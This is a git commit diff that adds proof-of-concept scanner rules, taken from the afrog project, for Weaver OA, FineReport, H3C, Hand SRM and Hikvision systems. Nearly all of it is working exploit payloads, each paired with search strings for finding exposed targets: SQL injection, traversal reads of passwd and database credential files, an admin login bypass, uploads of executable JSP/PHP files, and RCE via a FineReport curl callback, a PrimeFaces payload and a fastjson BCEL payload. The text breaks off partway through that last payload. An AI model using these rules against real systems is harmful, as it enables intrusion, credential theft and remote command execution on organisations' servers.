feat: expand internal network poc coverage

webscan/pocs/THIRD_PARTY_NOTICES.md

@@ -1,13 +1,13 @@
 # Third-party POC notices
 
-The 50 `.yaml` POC files added for the fscan 2.2.1 trial set were selected
+The 100 `.yaml` POC files added for the fscan 2.2.1 trial sets were selected
 from `zan8in/afrog` commit `9f792687ed156d63344016f8bf658946079fb494`:
 
 https://github.com/zan8in/afrog
 
-Only non-destructive detection, unauthorized-access, information-disclosure,
+The first set focused on non-destructive checks. The second set also includes
-and path-read checks were selected. The original project is licensed under
+RCE, file-write, and file-upload verification rules. The original project is
-the MIT License:
+licensed under the MIT License:
 
 MIT License
 

webscan/pocs/docker-registry-api-unauth.yaml

@@ -18,4 +18,4 @@ rules:
             method: GET
             path: /v2/_catalog
         expression: response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"repositories")
-expression: r0() && r1()+
+expression: r0() && r1()

webscan/pocs/ecology-filedownload-lfi.yaml

@@ -0,0 +1,22 @@
+id: ecology-filedownload-lfi
+
+info:
+  name: 泛微 OA ecology 本地文件读取
+  author: l1nk3r
+  severity: high
+  verified: true
+  description: |-
+    泛微OA e-cology 文件下载目录遍历
+    fofa: app="泛微-协同办公OA"
+  reference:
+    - https://www.weaver.com.cn/cs/securityDownload.asp
+  tags: ecology,directory-traversal
+  created: 2023/06/23
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /weaver/ln.FileDownload?fpath=../ecology/WEB-INF/web.xml
+    expression: response.status == 200 && response.body.bcontains(b"<url-pattern>/weaver/")
+expression: r0()

webscan/pocs/ecology-filedownloadforoutdoc-sqli.yaml

@@ -0,0 +1,44 @@
+id: ecology-filedownloadforoutdoc-sqli
+
+info:
+  name: 泛微 OA filedownloadforoutdoc - SQL injection
+  author: zan8in
+  severity: high
+  verified: true
+  description: |-
+    泛微 OA filedownloadforoutdoc interface has SQL injection
+    fofa: app="泛微-协同办公OA"
+  tags: ecology,sqli
+  created: 2023/07/11
+
+set:
+  rand0: randomInt(100,199)
+  rand1: randomInt(200,299)
+  rand2: randomInt(300,399)
+  rand3: randomInt(400,499)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /weaver/weaver.file.FileDownloadForOutDoc
+      body: isFromOutImg=1&fileid={{rand0}}+WAITFOR+DELAY+'0:0:10'
+    expression: response.status == 200 && response.latency <= 12000 &&  response.latency >= 10000
+  r1:
+    request:
+      method: POST
+      path: /weaver/weaver.file.FileDownloadForOutDoc
+      body: isFromOutImg=1&fileid={{rand1}}+WAITFOR+DELAY+'0:0:6'
+    expression: response.status == 200 && response.latency <= 8000 &&  response.latency >= 6000
+  r2:
+    request:
+      method: POST
+      path: /weaver/weaver.file.FileDownloadForOutDoc
+      body: isFromOutImg=1&fileid={{rand2}}+WAITFOR+DELAY+'0:0:10'
+    expression: response.status == 200 && response.latency <= 12000 &&  response.latency >= 10000
+  r3:
+    request:
+      method: POST
+      path: /weaver/weaver.file.FileDownloadForOutDoc
+      body: isFromOutImg=1&fileid={{rand1}}+WAITFOR+DELAY+'0:0:6'
+    expression: response.status == 200 && response.latency <= 8000 &&  response.latency >= 6000
+expression: r0() && r1() && r2() && r3()

webscan/pocs/ecology-getselectallid-sqli.yaml

@@ -0,0 +1,22 @@
+id: ecology-getselectallid-sqli
+
+info:
+  name: 泛微OA E-Cology getdata.jsp SQL注入漏洞
+  author: Print1n
+  severity: high
+  verified: true
+  description: |-
+    泛微OA V8 存在SQL注入漏洞，攻击者可以通过漏洞获取管理员权限和服务器权限 app="泛微-协同办公OA"
+  tags: weaver,ecology,sqli
+  created: 2023/06/23
+
+set:
+  r1: randomInt(1000, 9999)
+  r2: randomInt(1000, 9999)
+rules:
+  r0:
+    request:
+      method: GET
+      path: /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select+{{r1}}*{{r2}}+as+id
+    expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
+expression: r0()

webscan/pocs/ecology-hrmcareerapplyperview-sqli.yaml

@@ -0,0 +1,22 @@
+id: ecology-hrmcareerapplyperview-sqli
+
+info:
+  name: 泛微OA E-Cology HrmCareerApplyPerView.jsp SQL注入漏洞
+  author: zan8in
+  severity: high
+  verified: true
+  description: |-
+    泛微OA HrmCareerApplyPerView.jsp文件存在SQL注入漏洞，攻击者通过漏洞可以读取服务器敏感文件
+    fofa: app="泛微-协同办公OA"
+  tags: weaver,ecology,sqli
+  created: 2025/06/11
+
+set:
+  randstr: randLowercase(6)
+rules:
+  r0:
+    request:
+      method: GET
+      path: /pweb/careerapply/HrmCareerApplyPerView.jsp?id=1 union select 1,2,sys.fn_sqlvarbasetostr(HashBytes('MD5','{{randstr}}')),db_name(1),5,6,7
+    expression: response.status == 200 && response.body.bcontains(bytes(md5(randstr)))
+expression: r0()

webscan/pocs/ecology-jqueryfiletree-directory-traversal.yaml

@@ -0,0 +1,24 @@
+id: ecology-jqueryfiletree-directory-traversal
+
+info:
+  name: 泛微OA E-Cology jqueryFileTree.jsp 目录遍历漏洞
+  author: zan8in
+  severity: high
+  verified: true
+  description: |-
+    泛微e-cology是专为大中型企业制作的OA办公系统,支持PC端、移动端和微信端同时办公等，其中 jqueryFileTree.jsp 文件中 dir 参数存在目录遍历漏洞，攻击者通过漏洞可以获取服务器文件目录信息
+    fofa: app="泛微-协同办公OA"
+  tags: weaver,ecology,directory-traversal
+  created: 2023/06/23
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /hrm/hrm_e9/orgChart/js/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.jsp?dir=/page/resource/userfile/../../
+    expression: |
+      response.status == 200 && 
+      response.body.bcontains(b'index.jsp') && 
+      response.body.bcontains(b'PortalCenter.jsp') && 
+      response.body.bcontains(b'PortalSettingOperation.jsp')
+expression: r0()

webscan/pocs/ecology-resourceservlet-lfi.yaml

@@ -0,0 +1,21 @@
+id: ecology-resourceservlet-lfi
+
+info:
+  name: 泛微OA e-cology ResourceServlet 本地文件读取
+  author: l1nk3r
+  severity: critical
+  verified: true
+  description: |-
+    泛微OA e-cology springframework 本地文件读取
+  reference:
+    - https://www.weaver.com.cn/cs/securityDownload.asp
+  tags: weaver,ecology,lfi
+  created: 2023/06/23
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/web.xml
+    expression: response.status == 200 && response.body.bcontains(b"<url-pattern>/weaver/")
+expression: r0()

webscan/pocs/ecology-signaturedownload-fileread.yaml

@@ -0,0 +1,25 @@
+id: ecology-signaturedownload-fileread
+
+info:
+  name: 泛微 OA ecology SignatureDownLoad 任意文件读取
+  author: daffainfo
+  severity: critical
+  verified: true
+  description: |-
+    泛微协同管理平台e-weaver继承e-cology八大功能模块应用，并可进一步打通企业更深层的个性管理需求，基于协同思想打造全面整合企业管理资源的环境。e-weaver基于工作流引擎＋卡片/表单＋组件模式，全面开放已有八大功能的配置应用，同时还可以根据用户个性的管理需求，增添企业独立的应用模块功能，从而形成完全符合自身企业的全面协同管理应用解决方案。泛微OA e-weaver平台SignatureDownLoad处存在敏感信息泄露漏洞，攻击者通过漏洞可以获取数据库服务器权限。
+    fofa: app="泛微-E-Weaver"
+  reference:
+    - https://mp.weixin.qq.com/s/71v9SgVLJk2jg0kBVhkTpA
+  tags: weaver,ecology,fileread
+  created: 2023/06/23
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /weaver/weaver.file.SignatureDownLoad?markId=0%20union%20select%20%27../ecology/WEB-INF/prop/weaver.properties%27
+    expression: |
+      response.status == 200 && 
+      response.body.bcontains(b'ecology.user=') && 
+      response.body.bcontains(b'ecology.password=')
+expression: r0()

webscan/pocs/ecology-verifyquicklogin-login-bypass.yaml

@@ -0,0 +1,21 @@
+id: ecology-verifyquicklogin-login-bypass
+
+info:
+  name: 泛微OA E-Cology VerifyQuickLogin.jsp 任意管理员登录漏洞
+  author: zan8in
+  severity: high
+  verified: true
+  description: |-
+    泛微OA E-Cology VerifyQuickLogin.jsp文件中存在任意管理员登录漏洞，攻击着通过发送特殊的请求包可以获取管理员Session
+    fofa: app="泛微-协同办公OA"
+  tags: weaver,ecology,bypass
+  created: 2023/06/23
+
+rules:
+  r0:
+    request:
+      method: POST
+      path: /mobile/plugin/VerifyQuickLogin.jsp
+      body: identifier=1&language=1&ipaddress=x.x.x.x
+    expression: response.status == 200 && response.body.bcontains(b'"sessionkey":') && response.body.bcontains(b'"message":')
+expression: r0()

webscan/pocs/emobile-lang2sql-fileupload.yaml

@@ -0,0 +1,40 @@
+id: emobile-lang2sql-fileupload
+
+info:
+  name: 泛微移动管理平台E-mobile lang2sql接口存在任意文件上传
+  author: zan8in
+  severity: critical
+  verified: true
+  description: |-
+    fofa: title="移动管理平台-企业管理"
+    zoomeye: app:"泛微移动办公平台e-mobile"
+  reference:
+    - https://mp.weixin.qq.com/s/beQWjJW1pt3vjF3PTvwxLA
+  tags: ecology,emobile,fileuplaod
+  created: 2023/11/07
+
+set:
+  randstr: randomLowercase(6)
+  randbody: randomLowercase(56)
+  rboundary: randomLowercase(8)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /emp/lang2sql?client_type=1&lang_tag=1
+      headers:
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
+      body: "\
+        ------WebKitFormBoundary{{rboundary}}\r\n\
+        Content-Disposition: form-data; name=\"file\"; filename=\"../../../../appsvr/tomcat/webapps/ROOT/{{randstr}}.txt\"\r\n\
+        \r\n\
+        {{randbody}}\r\n\
+        ------WebKitFormBoundary{{rboundary}}--\r\n\
+        "
+    expression: response.status == 200 && response.body.bcontains(b'"errcode"')
+  r1:
+    request:
+      method: GET
+      path: /{{randstr}}.txt
+    expression: response.status == 200 && response.body.bcontains(bytes(randbody))
+expression: r0() && r1()

webscan/pocs/eoffice-mobile-upload-save-fileupload.yaml

@@ -0,0 +1,50 @@
+id: eoffice-mobile-upload-save-fileupload
+
+info:
+  name: 泛微 E-Office v9.5 mobile_upload_save 任意文件上传漏洞
+  author: zan8in
+  severity: critical
+  verified: true
+  description: |-
+    weaver E-Office v9.5 file upload vulnerability official
+    fofa: app="泛微-EOffice"
+  reference:
+    - https://github.com/sunyixuan1228/cve/blob/main/weaver.md?ref=www.ctfiot.com
+    - https://www.ctfiot.com/116750.html
+    - https://www.e-office.cn/
+  tags: weaver,ecology,eoffice,fileupload
+  created: 2023/07/11
+
+set:
+  filename: randomLowercase(4)
+  randbody: randomLowercase(32)
+  rboundary: randomLowercase(8)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /E-mobile/App/Ajax/ajax.php?action=mobile_upload_save
+      headers:
+        Content-Type: multipart/form-data; boundary=----WebKitForm{{rboundary}}
+      body: |
+        ------WebKitForm{{rboundary}}
+        Content-Disposition: form-data; name="upload_quwan"; filename="{{filename}}.phP."
+        Content-Type: image/jpeg
+
+        {{randbody}}
+        ------WebKitForm{{rboundary}}
+        Content-Disposition: form-data; name="file"; filename=""
+        Content-Type: application/octet-stream
+
+
+        ------WebKitForm{{rboundary}}--
+    expression: response.status == 200 && response.body.bcontains(bytes(filename + ".phP"))
+    output:
+      search: '"\",(?P<id>[0-9]{10}),\"".bsubmatch(response.body)'
+      id: search["id"]
+  r1:
+    request:
+      method: GET
+      path: /attachment/{{id}}/{{filename}}.phP
+    expression: response.status == 200 && response.body.bcontains(bytes(randbody))
+expression: r0() && r1()

webscan/pocs/eoffice-officeserver-fileupload.yaml

@@ -0,0 +1,43 @@
+id: weaver-eoffice-officeserver-fileupload
+
+info:
+  name: 泛微OA E-Office OfficeServer.php 任意文件上传漏洞
+  author: zan8in
+  severity: critical
+  verified: true
+  description: |
+    泛微OA E-Office OfficeServer.php 存在任意文件上传漏洞，攻击者通过漏洞可以获取到服务器敏感信息
+    fofa: app="泛微-EOffice"
+  tags: weaver,eoffice,fileupload
+  created: 2024/02/21
+
+set:
+  randstr: randomLowercase(12)
+  rbody: randomLowercase(32)
+  rboundary: randomLowercase(8)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /eoffice10/server/public/iWebOffice2015/OfficeServer.php
+      headers:
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
+      body: |
+        ------WebKitFormBoundary{{rboundary}}
+        Content-Disposition: form-data;name="FileData";filename="{{randstr}}.php"
+        Content-Type: application/octet-stream
+
+        <?php echo md5("{{rbody}}");unlink(__FILE__);?>
+
+        ------WebKitFormBoundary{{rboundary}}
+        Content-Disposition: form-data;name="FormData"
+
+        {'USERNAME':'admin','RECORDID':'undefined','OPTION':'SAVEFILE','FILENAME':'{{randstr}}.php'}
+        ------WebKitFormBoundary{{rboundary}}--"
+    expression: response.status == 200
+  r1:
+    request:
+      method: GET
+      path: /eoffice10/server/public/iWebOffice2015/Document/{{randstr}}.php
+    expression: response.status == 200 && response.body.bcontains(bytes(md5(rbody)))
+expression: r0() && r1()

webscan/pocs/fanruan-finereport-fr-log-rce.yaml

@@ -0,0 +1,37 @@
+id: fanruan-finereport-fr-log-rce
+
+info:
+  name: 帆软 FineReport Fr Log Rce
+  author: xpoc
+  severity: critical
+  verified: true
+  description: |-
+    fofa: app="帆软-FineReport"
+  reference:
+    - https://xz.aliyun.com/t/11064
+  tags: fanruan,finereport,rce
+  created: 2023/06/23
+
+set:
+  nowtime: timestamp_second()
+rules:
+  r0:
+    request:
+      method: GET
+      path: /WebReport/ReportServer?op=fr_log&cmd=fg_errinfo&fr_username=admin
+    expression: response.status == 200 && response.body.bcontains(b"sessionID")
+    output:
+      search: '"op=widget&widgetname=widget9&sessionID=(?P<sessionID>.*?)\",\"type".bsubmatch(response.body)'
+      sessionID: search["sessionID"]
+  r1:
+    request:
+      method: POST
+      path: /WebReport/ReportServer?op=fr_dialog&cmd=parameters_d&sessionID={{sessionID}}
+      body: __parameters__={"LABEL1":"TYPE:","TYPE":"6;CREATE ALIAS RUMCMD FOR \"com.fr.chart.phantom.system.SystemServiceUtils.exeCmd\";CALL RUMCMD('curl {{oob.HTTP}}');select msg, trace, sinfo, logtime from fr_errrecord where 1=1","LABEL3":"START_TIME:","START_TIME":"2020-08-11 00:00","LABEL5":"END_TIME:","END_TIME":"2020-08-11 16:41","LABEL7":"LIMIT:","LIMIT":2}
+    expression: response.status == 200
+  r2:
+    request:
+      method: GET
+      path: /WebReport/ReportServer?_={{nowtime}}585&__boxModel__=true&op=page_content&sessionID={{sessionID}}&pn=1
+    expression: oobCheck(oob.ProtocolHTTP, 3)
+expression: r0() && r1() && r2()

webscan/pocs/h3c-cvm-fileupload.yaml

@@ -0,0 +1,40 @@
+id: h3c-cvm-fileupload
+
+info:
+  name: H3C CVM 前台任意文件上传漏洞
+  author: daffainfo
+  severity: critical
+  verified: true
+  description: |-
+    H3C公司依托其强大的技术实力、产品与服务优势，以及深入人心的以客户为中心的理念，为企业数据中心IaaS云计算基础架构提供最优化的虚拟化与云业务运营解决方案。通过H3CCASCVM虚拟化管理系统实现数据中心虚拟化环境的中央管理控制，以简洁的管理界面，统一管理数据中心内所有的物理资源和虚拟资源，不仅能提高管理员的管控能力、简化日常例行工作，更可降低IT环境的复杂度和管理成本。H3CCVM存在任意文件上传漏洞，攻击者可以上传任意文件，获取webshell，控制服务器权限，读取敏感信息等。
+    fofa: server="H3C-CVM"
+  tags: h3c,cvm,fileupload
+  created: 2023/07/25
+
+set:
+  baseurl: request.url
+  r1: randomLowercase(8)
+  r2: md5(r1)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /cas/fileUpload/upload?token=/../../../../../var/lib/tomcat8/webapps/cas/js/lib/buttons/{{r1}}.txt&name=222
+      headers:
+        Content-Range: "bytes 0-110/120"
+        Referer: "{{baseurl}}/cas/login"
+        Accept-Encoding: "gzip, deflate"
+        Content-Type: ""
+      body: "{{r2}}"
+    expression: response.status == 200 && response.body.bcontains(b'message') && response.body.bcontains(b'success') && response.body.bcontains(b'true')
+  r1:
+    request:
+      method: GET
+      path: /cas/js/lib/buttons/{{r1}}.txt
+      headers:
+        Content-Range: "bytes 0-110/120"
+        Referer: "{{baseurl}}/cas/login"
+        Accept-Encoding: "gzip, deflate"
+        Content-Type: ""
+    expression: response.status == 200 && response.body.bcontains(bytes(r2))
+expression: r0() && r1()

webscan/pocs/h3c-jquery-172-file-read.yaml

@@ -0,0 +1,22 @@
+id: h3c-jquery-172-file-read
+
+info:
+  name: H3C 用户网管登录系统 jQuery-1.7.2 存在任意文件读取
+  author: zan8in
+  severity: high
+  verified: true
+  description: |-
+    h3c用户网管登录系统jQuery-1.7.2存在任意文件读取漏洞，其1.7.2版本的sys_dia_data_down模块存在任意文件读取漏洞，攻击者可通过前台读取任意文件。
+    fofa: body="webui/js/jquerylib/jquery-1.7.2.min.js"
+  reference:
+    - https://mp.weixin.qq.com/s/PnFzkwH4NZ0FhkKQ73l1IQ
+  created: 2023/05/26
+  tags: cve,cve2023,fileread,h3c
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /webui/?file_name=../../../../../etc/passwd&g=sys_dia_data_down
+    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
+expression: r0()

webscan/pocs/h3c-mselfservice-dynamiccontent-properties-rce.yaml

@@ -0,0 +1,17 @@
+id: h3c-mselfservice-dynamiccontent-properties-rce
+info:
+  name: H3C 用户自助服务平台 dynamiccontent.properties.xhtml RCE 漏洞
+  severity: critical
+  author: zan8in
+  verified: true
+  tags: h3c,mselfservice,rce
+  created: 2024/04/10
+
+rules:
+  r0:
+    request:
+      method: POST
+      path: /mselfservice/javax.faces.resource/dynamiccontent.properties.xhtml
+      body: "pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVqupdmBV%2FKAe9gtw54DSQCl72JjEAsHTRvxAuJC%2B%2FIFzB8dhqyGafOLqDOqc4QwUqLOJ5KuwGRarsPnIcJJwQQ7fEGzDwgaD0Njf%2FcNrT5NsETV8ToCfDLgkzjKVoz1ghGlbYnrjgqWarDvBnuv%2BEo5hxA5sgRQcWsFs1aN0zI9h8ecWvxGVmreIAuWduuetMakDq7ccNwStDSn2W6c%2BGvDYH7pKUiyBaGv9gshhhVGunrKvtJmJf04rVOy%2BZLezLj6vK%2BpVFyKR7s8xN5Ol1tz%2FG0VTJWYtaIwJ8rcWJLtVeLnXMlEcKBqd4yAtVfQNLA5AYtNBHneYyGZKAGivVYteZzG1IiJBtuZjHlE3kaH2N2XDLcOJKfyM%2FcwqYIl9PUvfC2Xh63Wh4yCFKJZGA2W0bnzXs8jdjMQoiKZnZiqRyDqkr5PwWqW16%2FI7eog15OBl4Kco%2FVjHHu8Mzg5DOvNevzs7hejq6rdj4T4AEDVrPMQS0HaIH%2BN7wC8zMZWsCJkXkY8GDcnOjhiwhQEL0l68qrO%2BEb%2F60MLarNPqOIBhF3RWB25h3q3vyESuWGkcTjJLlYOxHVJh3VhCou7OICpx3NcTTdwaRLlw7sMIUbF%2FciVuZGssKeVT%2FgR3nyoGuEg3WdOdM5tLfIthl1ruwVeQ7FoUcFU6RhZd0TO88HRsYXfaaRyC5HiSzRNn2DpnyzBIaZ8GDmz8AtbXt57uuUPRgyhdbZjIJx%2FqFUj%2BDikXHLvbUMrMlNAqSFJpqoy%2FQywVdBmlVdx%2BvJelZEK%2BBwNF9J4p%2F1fQ8wJZL2LB9SnqxAKr5kdCs0H%2FvouGHAXJZ%2BJzx5gcCw5h6%2Fp3ZkZMnMhkPMGWYIhFyWSSQwm6zmSZh1vRKfGRYd36aiRKgf3AynLVfTvxqPzqFh8BJUZ5Mh3V9R6D%2FukinKlX99zSUlQaueU22fj2jCgzvbpYwBUpD6a6tEoModbqMSIr0r7kYpE3tWAaF0ww4INtv2zUoQCRKo5BqCZFyaXrLnj7oA6RGm7ziH6xlFrOxtRd%2BLylDFB3dcYIgZtZoaSMAV3pyNoOzHy%2B1UtHe1nL97jJUCjUEbIOUPn70hyab29iHYAf3%2B9h0aurkyJVR28jIQlF4nT0nZqpixP%2Fnc0zrGppyu8dFzMqSqhRJgIkRrETErXPQ9sl%2BzoSf6CNta5ssizanfqqCmbwcvJkAlnPCP5OJhVes7lKCMlGH%2BOwPjT2xMuT6zaTMu3UMXeTd7U8yImpSbwTLhqcbaygXt8hhGSn5Qr7UQymKkAZGNKHGBbHeBIrEdjnVphcw9L2BjmaE%2BlsjMhGqFH6XWP5GD8FeHFtuY8bz08F4Wjt5wAeUZQOI4rSTpzgssoS1vbjJGzFukA07ahU%3D&cmd=ipconfig"
+    expression: response.status == 200 && response.body.bcontains(b'Windows IP')
+expression: r0()

webscan/pocs/hand-china-srm-tomcat-jsp-login-bypass.yaml

@@ -0,0 +1,31 @@
+id: hand-china-srm-tomcat-jsp-login-bypass
+
+info:
+  name: 汉得 SRM tomcat.jsp 登录绕过漏洞
+  author: zan8in
+  severity: high
+  verified: true
+  description: |-
+    fofa: 汉得SRM云平台
+    hunter: web.body="汉得SRM"
+  tags: hand-china,bypass,login
+  created: 2023/09/02
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /tomcat.jsp?dataName=role_id&dataValue=1
+    expression: response.status == 200 && response.body.bcontains(b'Server Info:') && response.body.bcontains(b'SRM SERVER Info.')
+  r1:
+    request:
+      method: GET
+      path: /tomcat.jsp?dataName=user_id&dataValue=1
+    expression: response.status == 200 && response.body.bcontains(b'Server Info:') && response.body.bcontains(b'SRM SERVER Info.')
+  r2:
+    request:
+      method: GET
+      path: /main.screen
+      follow_redirects: true
+    expression: response.status == 200
+expression: r0() && r1() && r2()

webscan/pocs/hikvision-anfang-report-fileupload.yaml

@@ -0,0 +1,42 @@
+id: hikvision-anfang-report-fileupload
+
+info:
+  name: HiKVISION 综合安防管理平台 report 任意文件上传
+  author: zan8in
+  severity: critical
+  verified: true
+  description: |
+    HiKVISION 综合安防管理平台 report接口存在任意文件上传漏洞，攻击者通过构造特殊的请求包可以上传任意文件，获取服务器权限
+    fofa: app="HIKVISION-综合安防管理平台"
+    fofa: title="综合安防管理平台"
+  tags: hikvision,fileupload
+  created: 2023/08/09
+
+set:
+  r1: randomLowercase(4)
+  r2: randomInt(40000, 44800)
+  r3: randomInt(40000, 44800)
+  rboundary: randomLowercase(8)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /svm/api/external/report
+      headers:
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
+      body: "\
+        ------WebKitFormBoundary{{rboundary}}\r\n\
+        Content-Disposition: form-data; name=\"file\"; filename=\"../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps/eportal/{{r1}}.jsp\"\r\n\
+        Content-Type: application/zip\r\n\
+        \r\n\
+        <%out.print({{r2}} * {{r3}});new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n\
+        \r\n\
+        ------WebKitFormBoundary{{rboundary}}--\r\n\
+        "
+    expression: response.status == 200 && response.body.bcontains(b'"code":') && response.body.bcontains(b'"data":') && response.body.bcontains(b'"msg":')
+  r1:
+    request:
+      method: GET
+      path: /portal/ui/login/..;/..;/{{r1}}.jsp
+    expression: response.status == 200  && response.body.bcontains(bytes(string(r2 * r3)))
+expression: r0() && r1()

webscan/pocs/hikvision-applyautologinticket-rce.yaml

@@ -0,0 +1,27 @@
+id: hikvision-applyautologinticket-rce
+
+info:
+  name: 海康威视综合安防管理平台 applyAutoLoginTicket RCE
+  author: free2e
+  severity: critical
+  verified: true
+  description: |
+    海康综合安防管理平台 applyAutoLoginTicket 接口存在 fastjson 反序列化漏洞。攻击者可在未鉴权的情况下，对目标服务器进行远程命令执行，从而获取服务器权限。
+    fofa: app="HIKVISION-综合安防管理平台"
+    fofa: icon_hash="136203464"
+    hunter: web.icon="753466eed2bbef2bae18b55994d1d2ae"
+  tags: hikvision,rce
+  created: 2024/06/11
+
+rules:
+  r0:
+    request:
+      method: POST
+      path: /bic/ssoService/v1/applyAutoLoginTicket
+      headers:
+        Content-Type: application/json
+        cmd: ipconfig
+      body: |
+        {"CTGT":{ "a": {"@type": "java.lang.Class","val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"},"b": {"@type": "java.lang.Class","val": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"c": {"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa